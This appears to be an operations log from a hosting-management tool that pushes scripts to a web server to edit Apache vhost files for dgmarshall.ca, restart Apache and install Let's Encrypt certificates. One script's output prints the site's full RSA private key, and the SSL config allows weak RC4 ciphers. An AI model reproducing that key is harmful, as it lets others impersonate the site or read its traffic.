f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-09 06:00:34: 

chmod 755 /tmp/pkp365215; /tmp/pkp365215; rm /tmp/pkp365215

2026-04-09 06:00:34: 


dir=/etc/ssl/certs


2026-04-09 06:00:34: 

PUT: /tmp/pkp819733

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dgmarshall_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-09 06:00:34: 

chmod 755 /tmp/pkp819733; /tmp/pkp819733; rm /tmp/pkp819733

2026-04-09 06:00:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf 41

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>






2026-04-09 06:00:34: 

PUT: /tmp/pkp110482

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf= 1'
fi


2026-04-09 06:00:34: 

chmod 755 /tmp/pkp110482; /tmp/pkp110482; rm /tmp/pkp110482

2026-04-09 06:00:34: 




2026-04-09 06:00:34: 

PUT: /tmp/pkp262660

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-09 06:00:34: 

chmod 755 /tmp/pkp262660; /tmp/pkp262660; rm /tmp/pkp262660

2026-04-09 06:00:34: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-09 06:00:34: Establishing a connection
2026-04-09 06:00:34: 

PUT: /tmp/pkp181691

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-09 06:00:34: 

chmod 755 /tmp/pkp181691; /tmp/pkp181691; rm /tmp/pkp181691

2026-04-09 06:00:35: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-09 06:00:35: 

PUT: /tmp/pkp276899

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dgmarshall_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-09 06:00:35: 

chmod 755 /tmp/pkp276899; /tmp/pkp276899; rm /tmp/pkp276899

2026-04-09 06:00:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf	1500

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>







2026-04-09 06:00:35: 

PUT: /tmp/pkp391205

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-09 06:00:35: 

chmod 755 /tmp/pkp391205; /tmp/pkp391205; rm /tmp/pkp391205

2026-04-09 06:00:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt	5372
21:3a:1f:d1:e0:79:18:8e:91:9e:8a:d9:cd:88:78:44

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBvHtw2IpOGsGp1JoL9LX9mIyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDA5MDUwMjAyWhcNMjYwNzA4MDUwMjAxWjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
oyIVczS6v7zpIcde93vMMwDMlmg8nPVwEGojyhqyLa41d2KAR3kHTzN6ALlpz7JB
l8RG3dH41C+YiJNBUn9Md1rSVz5kZPMx529AfPTDCk6JU8blYVOEoGq7QRNJYyJ/
nhVrYIzC9mCJKwmZEe6TFCHEtKMna++cvqldy61/zXyJSIIRpNWVF8OHqv2tXoGV
UmPGlH5uP/aEleEggCaXSfhZNatOTBBuHRl3HmllkkjYIrvTbaaWOL6ZKwIR7xre
YDq0BVe3A8g7R2siOE02PgmLXsWbbDSvfcwqgnXCuGvSqWWyvtMbsF+CdXscXkI2
2oeghsB7q6LMuoC9oIgHqQIDAQABo4ICLzCCAiswDgYDVR0PAQH/BAQDAgWgMBMG
A1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFMdeCeTo
cYc8naZN/0kbo+LspZblMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA471pIz
MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNy
Lm9yZy8wKwYDVR0RBCQwIoINZGdtYXJzaGFsbC5jYYIRd3d3LmRnbWFyc2hhbGwu
Y2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDov
L3IxMy5jLmxlbmNyLm9yZy81MS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkA
dwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ1w0/Y6AAAEAwBI
MEYCIQDnZNjwmq8MT74W8kYaj8z8mY1xE+Lmq95+iNuTlt9eiQIhAPmOKSNT0G2O
cW6CBRBvUqS5CdP58rfnFEOWuEf/3GSCAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgT
xB3ZbXkAsxI8VScAAAGdcNP52gAIAAAFAAYwAzAEAwBHMEUCIQClmU89iotD/dsK
L7qvUq8EuGaKxU3SmTzWxH1IUD2ewwIgQZ8cXjqOWVdbTJnRQH1E9ecRaYzfVWGY
nCTSBIZxacAwDQYJKoZIhvcNAQELBQADggEBAIGrEmdhR/KOZiY2W7aC/Kmf0zP2
1EX1SB2tjUc5dr54OPQB4PEDZ1YUtedxnCAnbZMep8707vL/CHNiSGsJEf/KSG1T
+mXdidWjZaQ9kuBVzjErnP6qawmdee8lcyf8d1ABVb1LqFAxWrT4rEsebPHkBVxH
YoKN3+/RweRds05awFs6z7ZPRvXfflwwbShS8nsQGfjMXHVj0RcOt8qEP15lJ0SQ
Gw488jaiKLzJz83Ofgo7XUt62on8UhfUjKQkc9DuTynmL0LugAuTDG8PTZPISRE2
PbUUnP0CCD3G1dryP64iW9j6RfDnYfoUQS2zGOztJAlnlcJZOn40oQAQpSQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCjIhVzNLq/vOkh
x173e8wzAMyWaDyc9XAQaiPKGrItrjV3YoBHeQdPM3oAuWnPskGXxEbd0fjUL5iI
k0FSf0x3WtJXPmRk8zHnb0B89MMKTolTxuVhU4SgartBE0ljIn+eFWtgjML2YIkr
CZkR7pMUIcS0oydr75y+qV3LrX/NfIlIghGk1ZUXw4eq/a1egZVSY8aUfm4/9oSV
4SCAJpdJ+Fk1q05MEG4dGXceaWWSSNgiu9NtppY4vpkrAhHvGt5gOrQFV7cDyDtH
ayI4TTY+CYtexZtsNK99zCqCdcK4a9KpZbK+0xuwX4J1exxeQjbah6CGwHurosy6
gL2giAepAgMBAAECggEABoS3mB5tZLkKVOjpOtOcf6sP9xBuyplKkJdYeyxeU1xf
OHg2wWmyQMg2aetpZqzmuXx0lfYRyVMRDIpbcqMm9avK/5oyQK/l3guYR13wN1wB
xAJCBbsZ+l8la2wMk3Hhk6TOC8y4GMhCTDZSbTC2pGLAisoW//Vnkp1EeT2N/6fi
eSlZ87ucDJztbd/fWfq9t07L9+GjKEKsNfKAiEQzEbkerN2kSmz20qojqvk9ja+j
TGmwnJQfES11SjxTCm9QVXeRm8o/ZBQvzGH8tVQmavduiEeJXxt1RG8ZTgmMrUA9
vZ1i0AsuNJo+IBQLXPS4YeGpn/tEaEzaW8CqM0tNIQKBgQDQmo13SeOGXOBy7a/j
ZICO6ybYFeNYeqnAoTMxiLYU4n2KFkpjwQtuUjVCAifU/1oLhETGRBLld8b9LM5i
Lvt7stGaPLpQdLHka9MC9qY5qfKQRyiqoaAGLqZJ0xziTbCU3ar/OHtcU8MNbCRX
Wo91MXhCCuRDCV0iguYxado4SQKBgQDIMrtyufoIrgrR070GFXLdl7ZrAChWcZD4
ibUI/zaJ4dNtuGE5AO5/qOhrVruKL6YdErNZeA3M75hqnk90lNvFjG5HUOp7Q5Lg
+7RM1GnNd9DSvPwKWFeybn0K15B/EcBDuF50BX6BLigcYyqIGEWz5zi+nFvrpIxN
2IgawtsUYQKBgQDLN9VbAZNy4OYTcHRqHQ2UrYbg+anKF21p6GB8AAgKHn9YV9DO
j1C4f8O8c2ckfELXd1qcn9Kc02v6Vn0Ub1q1LgY9sK19FcH7mgMuHuTexi402e3H
FL9VZnq+7rhzymWdELm1+utKjZs2Z0ScCPA6ph/Wjs/CcsvVhBoGx208aQKBgQDH
uYU0ccG2gxucNedweFl+JOsCWMflZatBqPCJJ0PbzwXFgprL6dgGWBZ3b7HtrJfG
jW+MJK9v8uBWDdYq8o9GyFEEqP8lNkcEWViJBakAKTaV56BzGat0AbKR7HjlrGnp
pbfle823RrsRhwVZfQ2c62K7FvbFYgXva8RtHlS+QQKBgQCAPAZHL5d1Vm2EZBp0
k0NDHHI6L8LMNm+j8BDKo+d5c0krQfitsvyH1mrlzMFLgyqm2WPQqY+FtSmDlv7/
YZs5je/5oxM+PoiaktsFyOyYq0x8xP08hIC8UV00/IjDwJ9ca9OUUBSnLGJ+0rYP
Yyhgy9Vn/dg/PQfJ6l2CIHChKg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-09 06:00:35: Establishing a connection
2026-04-09 06:00:35: Establishing a connection
2026-04-09 06:00:35: 

PUT: /tmp/pkp434635

#!/bin/bash
if [ -d "/var/www/ineedtosaythis_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-09 06:00:35: 

chmod 755 /tmp/pkp434635; /tmp/pkp434635; rm /tmp/pkp434635

2026-04-09 06:00:35: 


1


2026-04-09 06:00:36: Establishing a connection
2026-04-09 06:00:36: 

PUT: /tmp/pkp851772

#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cat > K8xn8ISdHV68_42VZHBfmXFXFx8HGhX7ha-w9nipxvU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
K8xn8ISdHV68_42VZHBfmXFXFx8HGhX7ha-w9nipxvU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 K8xn8ISdHV68_42VZHBfmXFXFx8HGhX7ha-w9nipxvU
cat > hOEzWDGcpQN4wMLbHBZqxy9wjToHjITkrM9uNy6cOkc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
hOEzWDGcpQN4wMLbHBZqxy9wjToHjITkrM9uNy6cOkc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 hOEzWDGcpQN4wMLbHBZqxy9wjToHjITkrM9uNy6cOkc


2026-04-09 06:00:36: 

chmod 755 /tmp/pkp851772; /tmp/pkp851772; rm /tmp/pkp851772

2026-04-09 06:00:36: 




2026-04-09 06:00:44: Establishing a connection
2026-04-09 06:00:45: 

PUT: /tmp/pkp528553

#!/bin/bash
mkdir -p "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
cd "/var/www/ineedtosaythis_www/.well-known/acme-challenge/"
rm K8xn8ISdHV68_42VZHBfmXFXFx8HGhX7ha-w9nipxvU
rm hOEzWDGcpQN4wMLbHBZqxy9wjToHjITkrM9uNy6cOkc


2026-04-09 06:00:45: 

chmod 755 /tmp/pkp528553; /tmp/pkp528553; rm /tmp/pkp528553

2026-04-09 06:00:45: 




2026-04-09 06:00:45: Establishing a connection
2026-04-09 06:00:45: 

PUT: /tmp/pkp251991

#!/bin/bash
temp_file=$(mktemp)
TARGET=30544cb98a5f34c59eb0febd8752cfa0.crt

cat > $temp_file <<'endmsg'
dc:f1:11:cc:b6:e6:a9:a9:d1:dc:28:81:ce:19:cb:41

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBgFTAZ3ND4hTHcfapWdOTwuVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA5MDUwMjEzWhcNMjYwNzA4MDUwMjEyWjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCcmEIHeov2tcpCvwfiRdqQmSlQiKez/N1117dofqCscEdxHSuCo7SDBLkt
